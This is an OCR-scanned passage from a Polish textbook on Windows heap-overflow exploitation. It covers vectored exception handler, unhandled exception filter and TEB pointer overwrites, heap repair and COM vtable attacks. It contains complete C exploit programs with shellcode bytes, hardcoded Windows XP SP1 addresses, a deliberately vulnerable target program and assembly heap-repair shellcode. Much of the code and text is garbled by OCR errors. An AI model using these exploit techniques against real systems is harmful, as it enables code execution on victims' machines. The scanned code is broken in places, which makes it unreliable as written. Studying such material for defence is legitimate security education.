unsigned int GetAddress(char *1ib, char *func)

{

HMODULE T=NULL;
unsigned int x=0;
1 = LoadLibrary(1ib);
if(l)

return 0;
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x = GetProcAddress(1,func);
if(1x)

return 0;
return x;

}

void fixupaddresses(char *tmp, unsigned int x)
{
unsigned int a = 0;
a = x;
a =a << 24;
a =a > 24;
tmp[0]=a;
a = Xx;
a=a> 8;
a =a << 24;
a=a>>24;
tmp[1]=a;
a = x;
a =a>>16;
a = a << 24,
a =a> 24,
tmp[2]=a;
a = Xx;
a =a > 24;
tmp[3]=a;

L | e | | |

}

Jak juz wspomnielismy, wskazniki te nie sa uzywane w systemie Windows 2003 Server.
W bloku PEB na platformie Windows 2003 Server posiadaja one warto$¢ NULL. Mimo
to nadal mozliwe jest przeprowadzenie podobnego ataku. Funkcja ExitProcess()
lub UnhandledExceptionFilter() wywotuje wiele funkcji Ldr* takich jak na przyktad
LdrUnloadD11(). Wiele funkcji Ldr* postuguje si¢ wskaznikami funkcji. Wskazniki te sa
zwykle inicjowane przez silnik SHIM. Nie sa one wykorzystywane dla zwyklych procesow.
Ten sam efekt mozemy osiagna¢ nadpisujac wskaznik podczas przepetnienie bufora.

Nadpisanie wskaznika pierwszej wektoryzowanej
procedury obstugi wyjatkow pod adresem 77FC3210

Wektoryzowana obstuga wyjatkoéw wprowadzona zostala w systemie Windows XP.
W przeciwienstwie do tradycyjnego mechanizmu obshugi wyjatkdw, ktory przechowuje
struktury EXCEPTION _REGISTRATION na stosie, wektoryzowana obstuga wyjatkéw postuguje
sie informacja o procedurach obshugi umieszczong na stercie. Informacja ta przecho-
wywana jest w strukturach bardzo przypominajacych struktury EXCEPTION REGISTRATION.

struct VECTORED EXCEPTION NODE
dword m pNextNode;

dword m_pPreviousNode;
PVOID m pfnVectoredHandler;
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m pNextNode wskazuje nastgpna struktur¢ VECTORED EXCEPTION NODE, m pPreviousNode
poprzednia strukture VECTORED EXCEPTION NODE, a m pfnVectoredHandler wilasciwa
procedure obstugi wyjatkow. Wskaznik struktury VECTORED EXCEPTION NODE, ktora
zostanie uzyta jako pierwsza podczas obshugi wyjatku, znajduje si¢ pod adresem
0x77FC3210 (nalezy jednak pamigtac, ze adres ten moze si¢ zmieni¢ w momencie instalacji
pakietow serwisowych). Korzystajac z przepetnienia sterty, mozemy nadpisa¢ ten
wskaznik za pomoca adresu naszej wlasnej struktury VECTORED EXCEPTION NODE. Zaleta
takiej techniki jest przede wszystkim to, ze wektoryzowane procedury obstugi wyjatkéw
zostaja wywotane przed tradycyjnymi procedurami obstugi wyjatkow.

Przedstawiony ponizej kod (dla Windows XP Service Pack 1) odpowiedzialny jest za
przydzielenie procedury obstugi w momencie wystapienia wyjatku:

77F7F49E  mov esi,dword ptr ds:[77FC3210h]
TTFTFAAL  Jmp 77F7FABA

77F7F4A6 - Tea eax, [ebp-8]

77F7F4A9  push eax

TTF7FAAA - call dword ptr [esi+8]

77F7FAAD - cmp eax, 0FFh

J7F7F4BO  je T7F7F4CC

77F7F4B2  mov esi,dword ptr [esi]
77F7FABA  cmp esi,edi

77F7F4B6  jne 77F7FAAG

Kod ten umieszcza w rejestrze ESI wskaznik struktury VECTORED EXCEPTION NODE dla
pierwszej wywolywanej wektoryzowanej procedury obstugi wyjatkéw. Nastepnie wywo-
luje funkcje wskazywana przez EST + 8. Wykorzystujac przepeknienie sterty, mozemy
przeja¢ kontrolg nad procesem, modyfikujac warto$¢ wskaznika znajdujacego si¢ pod
adresem 0x77FC3210.

Jak to osiagnac¢? Najpierw musimy uzyska¢ wskaznik naszego bloku przydzielonego
na stercie. Jesli przechowuje go zmienna lokalna, dostgpny jest w biezacej ramce
stosu. Nawet jesli wskaznik ten przechowywany jest za pomoca zmiennej globalnej,
to i tak istnieje duza szansa, ze znajduje si¢ gdzie$ na stosie odlozony jako parametr
wywolania funkcji, zwlaszcza jesli wywolang funkcja jest HeapFree() (wskaznik blo-
ku jest wtedy trzecim parametrem). Po zlokalizowaniu tego wskaznika (zat6zmy, ze
znajduje si¢ on pod adresem 0x0012FF50) mozemy uda¢d, ze jest on wskaznikiem
m_pfnVectoredHandler nalezacym do struktury VECTORED EXCEPTION NODE o adresie
0x0012FF48. Dlatego tez przepetiajac adres, dostarczymy wartos¢ 0x0012FF48 dla
jednego wskaznika i warto$¢ 0x77FC320C dla drugiego z nich. Dzigki temu wykonanie
rozkazéw

77F6256F 89 01 mov  dword ptr [ecx],eax
77F62571 89 48 04 mov  dword ptr [eax+4],ecx

spowoduje zapisanie wartosci 0x77FC320C (zawarto$¢ rejestru EAX) pod adresem 0x0012FF48
(ECX) oraz wartosci 0x0012FF48 (zawarto$¢ rejestru ECX) pod adresem 0x77FC3210
(EAX + 4). W wyniku tych operacji przejelisSmy kontrolg nad wskaznikiem pierwszej
struktury VECTORED EXCEPTION NODE znajdujacym si¢ pod adresem 0x77FC3210. Dzigki
temu w momencie wystapienia wyjatku rozkaz znajdujacy si¢ pod adresem 0x77F7F49E
umiesci w rejestrze EST wartos¢ 0x0012FF48, a chwile pdzniej zostanie wywotana funkcja
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wskazywana przez ESI + 8. Adres tej funkcji jest adresem naszego buforu przydzie-
lonego na stercie i wobec tego zostanie nastgpnie wykonany nasz kod. Ponizej przed-
stawiamy przyktad kodu, ktory wykonuje opisane dziatania:

#include <stdio.h>
#include <windows.h>

unsigned int GetAddress(char *1ib, char *func);
void fixupaddresses(char *tmp, unsigned int x);

int main()

{

unsigned char buffer[300]="";
unsigned char heap[81="";

unsigned char pebf[8]="";

unsigned char shellcode[200]="";
unsigned int address of system = 0;
unsigned char tmp[8]="";

unsigned int cnt = 0;

printf("Getting address of system...\n");
address_of system = GetAddress("msvcrt.d11", "system");

if(address of system == 0)
return printf("Failed to get address.\n");

printf("Address of msvcrt.system\t\t\t= %.8X\n" address of system);
strcpy (buffer, "heapl ");
while(cnt < 5)

{
strcat(buffer, "\x90\x90\x90\x90" ) ;

cnt ++;

}

// kod powtoki wywotujacy system("calc");

strcat(buffer, "\x90\x33\xC0\ x50\ x68\x63\x61\x6C\x63\ x54\ x5B\ x50\ x53\xB9" ) ;

fixupaddresses(tmp,address of system);
strcat(buffer,tmp);
strcat(buffer, "\xFF\xD1");;

cnt = 0;
while(cnt < 58)
{

strcat(buffer,"DDDD");
cnt ++;

}

// Wskaznik do 0x77FC3210 - 4. 0x77FC3210 przechowuje
// wskaznik pierwszej struktury VECTORED EXCEPTION NODE
strcat (buffer, "\x0C\x32\xFC\x77") ;

// Wskaznik naszej pseudostruktury VECTORED EXCEPTION NODE

// o adresie 0x0012FF48. Pod tym adresem powiekszonym o 8

// znajduje sie wskaznik naszego bufora. Kod z tego bufora

// zostanie uruchomiony w momencie zadziatania mechanizmu wektoryzowanej
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}

// obstugi wyjatkéw. Wartos¢ te nalezy dopasowac do potozenia
// konkretnego bufora w systemie Czytelnika.
strcat(buffer, "\x48\xff\x12\x00") ;

printf("\nkxecuting heapl.exe... calc should open.\n");
system(buffer);
return 0;

unsigned int GetAddress(char *1ib, char *func)

{

}

HMODULE T=NULL;
unsigned int x=0;
1 = LoadLibrary(1ib);
if(l)
return 0;
x = GetProcAddress(1,func);
if(1x)
return 0;
return x;

void fixupaddresses(char *tmp, unsigned int x)

{

unsigned int a = 0;

a = x;
a = a << 24,
a=a>>24;
tmp[0]=a;

a =X
a=a>§8;

a = a << 24,
a=a>> 24,
tmp[1]=a;

a =X

a =a> 16;
a = a << 24,
a=a>>24;
tmp[2]=a;

a =X

a =a> 24,
tmp[3]=a;

Nadpisanie wskaznika filtra
nieobstuzonych wyjatkow

Na konferencji Blackhat Security Briefings odbywajacej si¢ w Amsterdamie w 2001
roku Halvar Flake jako pierwszy zaproponowat wykorzystanie filtra nieobstuzonych
wyjatkow. Filtr ten stosowany jest w systemie Windows w sytuacji, gdy zadna inna
procedura obstugi wyjatkéw nie obshuzyta biezacego wyjatku badz gdy zadna proce-
dura obshugi wyjatkéw nie zostata zdefiniowana. Aplikacja moze skonfigurowa¢ ten
filtr, korzystajac z funkcji SetUnhandledExceptionFilter(). Kod tej funkcji wykonuje
nastepujace rozkazy:
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77E7E5AT  mov ecx,dword ptr [esp+4]
77E7E5AS  mov eax,dword ptr ds:[77ED73B4h]
77E7ESAA mov dword ptr ds:[77ED73B4h],ecx
77E7ESBO  ret 4

Jak latwo zauwazy¢, wskaznik filtra nieobstuzonych wyjatkéw przechowywany jest
pod adresem 0x77ED73B4 — przynajmniej w przypadku systemu Windows XP Service
Pack 1. W innych systemach moze to by¢ inny adres. Aby go odnalez¢, nalezy prze-
analizowac¢ dzialanie funkcji SetUnhandledExceptionFilter().

Gdy pojawia si¢ nieobstuzony wyjatek, to system wykonuje ponizszy blok kodu:

77893114 mov eax,[77ED73B4]
77E93119 cmp eax,esi
77E9311B  je 77E93132
77E9311D push edi

77E9311E call eax

Adres filtra nieobstuzonych wyjatkéw zostaje zatadowany do rejestru EAX i procedura
zostaje wywotana. Rozkaz push edi poprzedzajacy wywotanie filtra odklada na stosie
adres struktury EXCEPTION POINTERS. Szczegot ten warto zapamigtaé, poniewaz okaze
si¢ on przydatny.

Przepehiajac sterte, mozemy wykorzysta¢ filtr nieobstuzonych wyjatkow w sytuacji,
gdy spowodowany wyjatek nie zostanie obsluzony. W tym celu musimy skonfiguro-
wac wiasny filtr nieobstuzonych wyjatkow. Wskaznik filtra mozemy nadpisa¢ adre-
sem naszego bufora, jesli jest on fatwy do ustalenia, badZz adresem fragmentu kodu,
ktory przekaze sterowanie do tego bufora. Przypomnijmy w tym miejscu, ze przed
wywolaniem filtra na stosie zostaje umieszczona zawarto$¢ rejestru EDI. Reprezentuje
ona adres struktury EXCEPTION_POINTER. 0x78 bajtow za tym adresem, prawie posrodku
naszego bufora, znajduje si¢ adres, ktdry jest wskaznikiem konca naszego bufora.
Mimo ze adres ten nie stanowi czesci struktury EXCEPTION POINTER, mozemy wyko-
rzysta¢ rejestr EDI, aby sterowanie trafito z powrotem do naszego kodu. W tym celu
musimy odnalez¢ jeszcze adres w przestrzeni danego procesu, ktory zawiera naste-
pujacy rozkaz:

call dword ptrledi+0x78]

Chociaz moze wydawa¢ sie to trudnym zadaniem, to jednak istnieje kilka miejsc,
w ktorych mozna odnalez¢ taki rozkaz. Zalezy to jednak od bibliotek zaladowanych
przez proces oraz wersji systemu. Ponizej przedstawiamy kilka przyktadéw lokaliza-
cji tego rozkazu w systemie Windows XP Service Pack 1.

call dword ptrledi+0x78] found at 0x71c3de66 [netapi3d2.d1l]
call dword ptrledi+0x78] found at 0x77c3bbad [netapi32.d11]
call dword ptrledi+0x78] found at 0x77c4lel5 [netapi32.d11]
call dword ptrledi+0x78] found at 0x77d92a34 [user32.d11]

call dword ptrledi+0x78] found at 0x7805136d [rpcrt4.d11]
call dword ptrledi+0x78] found at 0x78051456 [rpcrt4.d11]

W systemie Windows 2000 pod adresem ESI + 0x4C oraz ESP + 0x74 znajduje
sie wskaZnik naszego bufora.
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Wywotania filtra nieobstuzonych wyjatkéw podczas pracy z programem uruchomieniowym

Kazdy wyjatek zostaje przechwycony przez system i sterowanie trafia natychmiast do funkcji
KiUserExceptionDispatcher() w ntdl11.d11. Funkcja ta odpowiedzialna jest za mechanizm
obstugi wyjatkéw. W systemie Windows XP funkcja KiUserExceptionDispatcher() wywotuje
najpierw wektoryzowane procedury obstugi wyjatkéw, nastepnie tradycyjne procedury obstugi
wyjatkéw, a na koncu filtr nieobstuzonych wyjatkéw. Podobnie dziata ona w systemie Win-
dows 2000, ktéry jednak nie dysponuje mechanizmem wektoryzowanych procedur obstugi
wyjatkéw. Jeden z probleméw, ktére napotkaé mozna tworzac eksploit wykorzystujacy przepetnie-
nia sterty, polega na tym, ze podczas $ledzenia atakowanego programu za pomocg programu
uruchomieniowego nie jest wywotywany filtr nieobstuzonych wyjatkéw. Jest to szczeg6lnie irytuja-
ce, gdy tworzony eksploit wykorzystuje wtasnie ten filtr. Istnieje jednak rozwiazanie tego problemu.

Funkcja KiUserExceptionDispatcher() wywotuje funkcje UnhandledExceptionFilter(), ktéra
sprawdza, czy proces nie jest Sledzony i czy nalezy wywotac filtr nieobstuzonych wyjatkéw. W tym
celu funkcja UnhandledExceptionFilter() wywotuje funkcje jadra NT/ZwQueryInformation
Process, ktéra nadaje zmiennej na stosie warto§¢ O0xFFFFFFFF, jesli wykonanie procesu jest
Sledzone. Gdy funkcja NT/ZwQueryInformationProcess zwrdci sterowanie, to wartos¢ tej zmiennej
poréwnywana jest z wyzerowanym rejestrem. Jesli wartoSci sg takie same, wywotywany jest
filtr nieobstuzonych wyjatkéw. W przeciwnym razie filtr nie jest wywotywany. Jesli chcemy, aby
filtr zostat wywotany podczas $ledzenia programu, to powinniSmy zastawié¢ putapke na rozka-
zie dokonujgcym poréwnania. Gdy sterowanie programu dotrze do putapki, nalezy zmieni¢ war-
tos¢ zmiennej z OxFFFFFFFF na 0x00000000 i kontynuowaé $Sledzenie programu. Dzieki temu
filtr nieobstuzonych wyjgtkéw zostanie wywotany.

TJ7E930F5 1lea eax, [ebp-20h]

77E930F8 push eax

77E930F9 push 7
77E930FB call J7ETE6BY

JTETET6B9 or eax, 0FFh
JTETETEBC ret

77E93100 push eax

77E93101 call dword ptr ds:[77E610ACh] Jesli [EBP+20h] réwne jest 0x00000000
(czyli biezacej zawartosci rejestru ESI),

77F76035 mov eax, 9Ah to wywolywany jest filtr nieobstuzonych

77F7603A mov edx, 7FFE0300h wyjatkow A

77F7603F call edx

JFFE0300 mov edx,esp :

7FFE0302 sysenter ~— Przelgczenie

7FFE0304 ret w tryb jadra

77F76041 ret 14h

77E93107 test eax,eax

77E93109 31 7793114 . .

77E93108 cmp dword ptr [ebp-20h],esi D el

77€9310E jne 77€937D9 e .g*! fozhg.u \;ra s

77E93114 mov eax, [77ED7384] zgf‘é s‘gfg’;g%%% »

77E93119 cmp eax,esi Bl

7793118 je 77€93132 ;"V"%"Vwagy.'{?%;;?gg

77€9311D push edi adtosy L

J7E9311E call eax

77E937D9 mov eax, fs:[00000018] -

J7E937DF mov eax,dword ptr [eax+30h]

J7E937E2 test byte ptr [eax+69n],1

JTE937E6 je 77E93510
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Na rysunku na poprzedniej stronie przedstawiony zostat kod wykonywany przez funkcje Unhandle-
dExceptionFilter w systemie Windows XP Service Pack 1. W tym przypadku nalezy zastawic¢
putapke pod adresem 0x77E9310B i poczekaé na pojawienie sie wyjatku. Po osiaggnieciu putapki

nalezy zapisa¢ wartos¢ 0x00000000 pod adresem [EBP-20h] i wtedy zostanie wywotany filtr
nieobstuzonych wyjgtkéw.

Jesli nadpiszemy wskaznik filtra nieobstuzonych wyjatkéw jednym z przedstawionych
wyzej adresow, to w przypadku wystapienia nieobstuzonego wyjatku zostanie wykonany
rozkaz, ktory przekaze sterowanie do naszego bufora. Nalezy przy tym pamigtac, ze filtr
nieobstuzonych wyjatkéw wywotywany jest wylacznie wtedy, gdy program wykonywany
jest w zwyklym trybie, a nie w trybie uruchomieniowym. W ramce wyjasnione zo-
stato, jak poradzi¢ sobie z tym problemem.

Aby zademonstrowa¢ wykorzystanie filtra nieobstuzonych wyjatkéw podczas wlama-
nia metoda przepehienia sterty, musimy zmodyfikowa¢ przyktad atakowanego pro-
gramu w taki sposob, by nie zawierat on procedury obshugi wyjatkow. Jesli bowiem
wyjatek zostanie obstuzony, to filtr nie bedzie wywotany.

#include <stdio.h>
#include <windows.h>

int foo(char *buf);

int main(int argc, char *argv[])

{
HMODULE 1;
1 = LoadLibrary("msvcrt.d11");
1 = LoadLibrary("netapi32.d11");
printf("\n\nHeapoverflow program.\n");
if(argc 1= 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
1
int foo(char *buf)
{

HLOCAL hl = 0, h2 = 0:
HANDLE hp;

hp = HeapCreate(0,0x1000,0x10000);
if(thp)

return printf("Failed to create heap.\n");
hl = HeapAlloc(hp,HEAP_ZERO MEMORY,260);
printf("HEAP: %.8X %.8X\n",h1l,&h1);

// tutaj nastepuje przepeinienie sterty:
strepy(hl,buf);

// sterowanie przejmujemy podczas drugiego wywotania HeapAlloc
h2 = HeapAlloc(hp,HEAP_ZERO MEMORY,260);

printf("hello");

return 0;
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Wilamania dokonuje nastgpny z przedstawionych programéw. Nadpisuje on strukture
zwigzang z zarzadzaniem sterta dwoma wskaznikami. Pierwszy z nich wskazuje filtr
nieobstuzonych wyjatkow o adresie 0x77ED73B4, a drugi rozkaz call dword ptrledi+0x78]
znajdujacy si¢ w kodzie biblioteki netapi32.d11 pod adresem 0x77C3BBAD. Gdy atakowa-
ny program drugi raz wywola funkcje¢ HeapAlloc(), to wystapi wyjatek, ktory nie zo-
stanie obstuzony i trafi do naszego filtra, wskutek czego sterowanie zostanie prze-
kazane z powrotem do naszego bufora. Zwro¢my uwage na rozkaz krétkiego skoku
umieszczony w buforze tam, gdzie wskazuje EDI + 0x78. Stuzy on ominigciu kodu
zwigzanego z zarzadzaniem sterta.

#include <stdio.h>
#include <windows.h>

unsigned int GetAddress(char *1ib, char *func);
void fixupaddresses(char *tmp, unsigned int x);

int main()

{
unsigned char buffer[1000]="";
unsigned char heap[8]="";
unsigned char pebf[8]="";
unsigned char shellcode[200]="";
unsigned int address of system = 0;
unsigned char tmp[8]="";
unsigned int a = 0;
int cnt = 0;

printf("Getting address of system...\n");
address of system = GetAddress("msvcrt.d11", "system");
if(address_of_system == 0)
return printf("Failed to get address.\n");
printf("Address of msvcrt.system\t\t\t= %.8X\n" 6address of system);
strepy (buffer, "heapl ");
while(cnt < 66)
{
strcat (buffer, "DDDD");
cnt++;

}

// Tutaj wskazuje EDI+0x78
// musimy wiec wykona¢ krotki skok do przodu
strcat(buffer, "\xEB\x14");

// uzupetnienie
strcat(buffer, "\x44\x44\x44\x44\ x44\x44" ) ;

// Pod tym adresem (0x77C3BBAD : netapi32.d11 XP SP1) znajduje sie
// rozkaz "call dword ptr[edi+0x74]". Adresem tym nadpiszemy
// wskaznik filtra nieobstuzonych wyjatkoéw.

strcat(buffer, "\xad\xbb\xc3\x77");

// wskaznik filtra nieobstuzonych wyjatkéw
strcat(buffer, "\xB4\x73\xED\x77"); // 77ED73B4

cnt = 0;
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}

while(cnt < 21)

{
strcat (buffer, "\x90") ;
cnt ++;

// kod powtoki wywotujacy system("calc");

strcat(buffer, "\x33\xCO\x50\x68\x63\x61\x6C\ x63\ x54\x5B\ x50\ x53\xB9" ) ;
fixupaddresses(tmp,address of system);

strcat(buffer,tmp);

strcat(buffer, "\xFF\xD1\x90\x90") ;

printf("\nExecuting heapl.exe... calc should open.\n");

system(buffer)

return 0;

unsigned int GetAddress(char *1ib, char *func)

{

void

HMODULE T1=NULL;
unsigned int x=0;
1 = LoadLibrary(1ib);
if(n)
return 0;
x = GetProcAddress(1, func);
if(!x)
return 0;
return x;

fixupaddresses(char *tmp, unsigned int x)
unsigned int a = 0;
a = x;

a=a<<24;
a=a>>24;
tmpl0]=a;

a = Xx;

a=a>8;
a=a<<24;
a=a> 24 ;
tmplll=a;

a = x;

a=a>16;
a=a<<24;
a=a>>24;
tmp[2]=a;

a = x;

a=a>>24;
tmp[31=a;

Nadpisanie wskaznika procedury obstugi wyjatkow
w bloku TEB

Podobnie jak w przypadku metody wykorzystujacej filtr nieobstuzonych wyjatkéw
Halvar Flake jako pierwszy zaproponowal nadpisanie wskaznika struktury EXCEPTION
REGISTRATION przechowywanego w bloku TEB (Thread Environment Block). Kazdy
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watek posiada blok TEB, ktory dostgpny jest za posrednictwem rejestru segmento-
wego FS. Pod adresem FS:[0] znajduje si¢ wskaznik pierwszej struktury EXCEP-
TION_REGISTRATION. Doktadne potozenie bloku TEB zmienia si¢ w zaleznosci od mo-
mentu utworzenia watku, liczby watkow i wielu innych czynnikow. Zwykle blok TEB
pierwszego watku znajduje si¢ pod adresem 0x7FFDE000, nastgpnego watku pod adre-
sem 0x7FFDD000, czyli w odlegtosci 0x1000 bajtow od poprzedniego, i tak dalej. Bloki
TEB kolejnych watkow tworzone sa zawsze w kierunku adresu 0x00000000. Ponizszy
kod podaje adres bloku TEB pierwszego watku:

#include <stdio.h>

int main()

{
_asm{
mov eax, dword ptr fs:[0x18]
push eax

}
printf("TEB: %.8X\n");

asm{

add esp,4
}

return 0;

}

Gdy jeden z watkdw konczy swoje dziatanie, przestrzen zajmowana przez jego blok TEB
zostaje zwolniona i bedzie uzyta dla bloku TEB watku, ktory zostanie utworzony jako
nastgpny. Stosujac przepehienie sterty, mozemy nadpisa¢ wskaznik struktury EXCEP-
TION_REGISTRATION, ktory dla pierwszego watku znajduje si¢ pod adresem 0x7FFDE000.
Gdy wystapi wyjatek zwiazany z naruszeniem ochrony dostgpu do pamigci, to bedziemy
posiada¢ kontrole nad wywolywana procedura obstugi wyjatkow. Zwykle jednak,
zwlaszcza w przypadku serweréw o architekturze wielowatkowej, wykorzystanie tej me-
tody nastrecza pewnych trudnosci, poniewaz nie jesteSmy pewni, gdzie dokladnie
znajduje si¢ blok TEB biezacego watku. Dlatego tez metoda ta najlepiej sprawdza si¢
w przypadku programéw jednowatkowych, na przyktad uruchamianych w oparciu
o interfejs CGIL. W przypadku serwerdw wielowatkowych najlepiej jest uruchomié
wiele watkow i wybra¢ posiadajacy najnizszy adres TEB.

Naprawa sterty

Po uszkodzeniu sterty przez przepehienie z reguly powinniSmy ja naprawic¢. W prze-
ciwnym razie mozemy by¢ prawie pewni, Ze nasz proces naruszy mechanizm ochrony
pamigci, zwlaszcza gdy przepehienie dotyczylo domyslnej sterty procesu. Naprawa
sterty moze polega¢ na wykonaniu pewnej pracy w zakresie inzynierii odwrotnej dla
atakowanej aplikacji i wyznaczeniu dokladnych rozmiaréw bufora oraz nastepnego
bloku pamigci. Rozmiarom tym mozemy przywrdci¢ oryginalne wartosci, jednak taki
sposob dziatania okaze si¢ zbyt pracochtonny, gdy bedzie wykonywany dla kazdego
wlamania z osobna. Bardziej przydatna bytaby ogdélna metoda. Najbardziej nieza-
wodna i ogo6lna metoda naprawiania sterty polega na przywrdceniu jej postaci, jaka
posiada kazda nowa (lub prawie nowa) sterta. Przypomnijmy, Ze po utworzeniu nowej
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sterty, ale przed przydzieleniem jakiegokolwiek jej bloku struktura Freelists[0]
(HEAP_BASE + 0x178) zawiera dwa wskazniki wskazujace pierwszy wolny blok (HEAP_BASE
+ 0x688) oraz dwa wskazniki w obrebie tego bloku wskazujace strukture Freelists[0].
Wskazniki umieszczone w strukturze Freelists[0] mozemy zmodyfikowac, tak aby
wskazywaty koniec naszego bloku, dzigki czemu powstanie sytuacja, w ktorej pierwszy
wolny blok bedzie znajdowac si¢ za naszym buforem. Musimy rowniez zmodyfikowac
dwa wskazniki znajdujace si¢ na koncu naszego bufora i poprawi¢ kilka innych szcze-
gotdéw. Jesli zniszczylismy blok znajdujacy si¢ na domyslnej stercie procesu, to mo-
zemy naprawi¢ go za pomoca przedstawionego ponizej kodu w asemblerze. Kod ten
powinien zosta¢ wykonany, zanim kod powloki rozpocznie inne operacje, aby zapobiec
naruszeniu ochrony pamigci. Dobra praktyka jest réwniez naprawienie wykorzystanego
mechanizmu obstugi wyjatkow, poniewaz zapobiega wejsciu w petle w momencie na-
ruszenia ochrony pamigci.

// Po wykonaniu rozkazu call dword ptr[edi+78] sterowanie
// trafito do naszego bufora. edi+78

// jest wskaznikiem struktury zarzadzania sterta.
// Wskaznik ten umieScimy w rejestrze edx

// i uzyjemy go do pobrania i modyfikacji danych
// tej struktury.

mov edx, dword ptr[edi+74]

// W przypadku systemu Windows 2000

// zamiast powyzszego rozkazu nalezy uzyc

// mov edx, dword ptrlesi+0x4C]

// odktada 0x18 na stosie

push 0x18

// 1 taduje te warto$¢ ze stosu do EBX

pop ebx

// Pobiera wskaznik bloku TEB

// z fs:[18]

mov eax, dword ptr fs:[ebx]

// Pobiera wskaznik bloku PEB

// z bloku TEB.

mov eax, dword ptr[eax+0x30]

// Pobiera wskaznik domy$lnej sterty procesu
// z bloku PEB

mov eax, dword ptr[eax+0x18]

// Rejestr eax zawiera teraz wskaznik sterty
// Adres ten ma posta¢ 0x00nn0000

// Korygujemy wskaznik, tak by wskazywatl

// warto$¢ TotalFreeSize typu dword

add al,0x28

// taduje stowo TotalFreeSize do si

mov si, word ptr[eax]

// i zapisuje je w naszej strukturze zarzadzania
// sterta.

mov word ptr[edx],si

// zwieksza edx o 2

inc edx

inc edx

// Imienia rozmiar poprzedniego bloku na 8
mov byte ptr[edx],0x08

inc edx

// Nadaje kolejnym 2 bajtom wartos¢ 0

mov si, word ptr[edx]
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xor word ptr[edx],si

inc edx

inc edx

// Nadaje znacznikom warto$¢ 0x14

mov byte ptr[edx],0x14

inc edx

// a nastepnym 2 bajtom wartos$¢ 0

mov si, word ptr[edx]

xor word ptr[edx],si

inc edx

inc edx

// koryguje eax, aby wskazywal heap base+0x178
// (teraz ma warto$¢ heap base+0x28)

add ax,0x150

// eax wskazuje teraz FreelLists[0]

// zapisuje edx jako Freelists[0].Flink

mov dword ptr[eax],edx

// oraz jako FreelLists[0].Blink

mov dword ptr[eax+4],edx

// Modyfikuje wskazniki znajdujace sie na koncu
// naszego bloku, aby wskazywaty Freelists[0]
mov dword ptr[edx],eax

mov dword ptr[edx+4],eax

Po naprawieniu sterty mozemy wykona¢ dowolny kod. Stercie nie zostala przywroco-
na posta¢ zupetnie nowej sterty, poniewaz inne watki mogly juz wczesniej umiesci¢
na niej swoje dane. Dane takie umieszcza na stercie na przyktad wywotanie funkcji
WSAStartup. Jesli dane te zostang zniszczone, poniewaz stercie zostal przywrocony
stan wyjsciowy, to jakiekolwiek wywotanie funkcji zwiazanej z gniazdami sieciowy-
mi spowoduje naruszenie ochrony pamigci.

Inne aspekty przepemien sterty

Nie zawsze przepehienie sterty zostaje wykorzystane na skutek wywotania funkcji
HeapAlloc() lub HeapFree(). Inne mozliwosci wykorzystania przepetien sterty doty-
cza migdzy innymi prywatnych danych klas jezyka C++ oraz obiektéw modelu COM
(Common Object Model). Model COM umozliwia programistom tworzenie obiektow
na biezaco przez inne programy. Obiekt taki posiada funkcje czy raczej metody, ktore
moga zosta¢ wywolane w celu realizacji pewnych zadan. Dobrym zrédlem informacji
na temat mozliwosci modelu COM jest oczywiscie witryna firmy Microsoft (www.
microsoft.com/com/). Dlaczego jednak model COM jest tak interesujacy z punktu widze-
nia przepetnien sterty?

Obiekty COM i sterta

Instancja obiektu COM tworzona jest na stercie. Dla kazdego obiektu tworzona jest
tabela wskaznikdw funkcji, znana jako vtable. Wskazniki te wskazuja kod metod, kto-
re obshuguja dany obiekt. Powyzej tabeli vtable (w sensie adresow pamigci wirtual-
nej) przydzielony zostaje obszar dla danych obiektu. Gdy tworzone sa kolejne obiekty
COM, to ich tabele vtable oraz dane umieszczane sa ponad poprzednimi obiektami.
Zastandwmy sig, co si¢ stanie, gdy bufor nalezacy do sekcji danych jednego z obiektow
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zostanie przepetiony. Przepelienie takie moze nadpisa¢ tabelg vtable nastgpnego
obiektu. W ten sposob haker moze przejacé kontrole nad metodami tego obiektu. Wy-
starczy, ze nadpisze wskaznik jednej z metod adresem swojego bufora. Gdy metoda ta
zostanie wywolana, to sterowanie trafi do kodu umieszczonego w buforze przez hakera.
Metoda taka jest czgsto stosowana w przypadku obiektéw ActiveX tadowanych przez
przegladarke Internet Explorer. Wykorzystanie przepelnien w przypadku obiektow
COM jest wigc niezwykle tatwe.

Przepemhianie danych sterujgcych logika programu

Wiamania przeprowadzane za pomoca przepetnienia sterty nie musza prowadzi¢ do
wykonania kodu wprowadzonego przez hakera. Celem ataku moga by¢ zmienne prze-
chowywane na stosie, ktére decyduja o sposobie dziatania aplikacji. Wyobrazmy so-
bie na przyklad serwer Web, ktore przechowuje na stercie informacje o uprawnieniach
dotyczacych wirtualnych katalogéw. Nadpisanie takiej struktury za pomocg przepehienia
na stercie umozliwi atakujacemu uzyskanie prawa zapisu w katalogu nadrzednym i zata-
dowanie wlasnych tresci na serwer.

Podsumowanie przepemien sterty

Przedstawilismy kilka mechanizméw umozliwiajacych wykorzystanie przepehien
sterty. Wykorzystanie kazdego przepeknienia sterty wymaga indywidualnego podej-
$cia, poniewaz przepehienia te zawsze roznig si¢ migdzy soba. Omowilismy rowniez
niebezpieczenstwa wynikajace z nieostroznego obchodzenia si¢ ze sterta. Konse-
kwencje moga by¢ nieprzyjemne, wobec czego lepiej zachowac ostroznoscé.

Inne przepeinienia

Podrozdziat ten poswigcilismy przepetnieniom, ktore nie zachodza ani na stosie, ani
na stercie.

Przepemienia sekcji .data

Kazdy program podzielony jest na szereg obszarow zwanych sekcjami. Wtasciwy kod
programu umieszczony jest w sekcji .text. Sekcja .data zawiera zmienne globalne.
Informacje o sekcjach programu mozemy uzyskac¢ na podstawie jego pliku wyko-
nywalnego za pomoca narze¢dzia dumpbin wywotanego z opcja /HEADERS oraz opcja
/SECTIONS: . nazwa_sekgji, ktora wyswietla informacje o wybranej sekcji. Chociaz prze-
pelnienia sekcji .data sa rzadziej spotykane niz przepetnienia stosu lub sterty, to sa
one réwniez z powodzeniem wykorzystywane na platformie Windows. Podstawowym
utrudnieniem w ich przypadku jest konieczno$¢ zachowania odpowiednich zaleznosci
czasowych. Przeanalizujmy to na ponizszym przyktadzie kodu w jezyku C:
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#include <stdio.h>
#include <windows.h>

unsigned char buffer[32]="";
FARPROC mprintf = 0;
FARPROC mstrcpy = 0;

int main(int argc, char *argv[])

{
HMODULE 1 = 0;
1 = LoadLibrary("msvert.di1");
if(l)
return 0;
mprintf = GetProcAddress(1,"printf");
if(Imprintf)
return 0;
mstrcpy = GetProcAddress(1,"strcpy");
if(!mstrcpy)
return 0;
(mstrcpy) (buffer,argv[1]);
__asm{ add esp,8 }
(mprintf)("%s", buffer)
__asm{ add esp,8 }
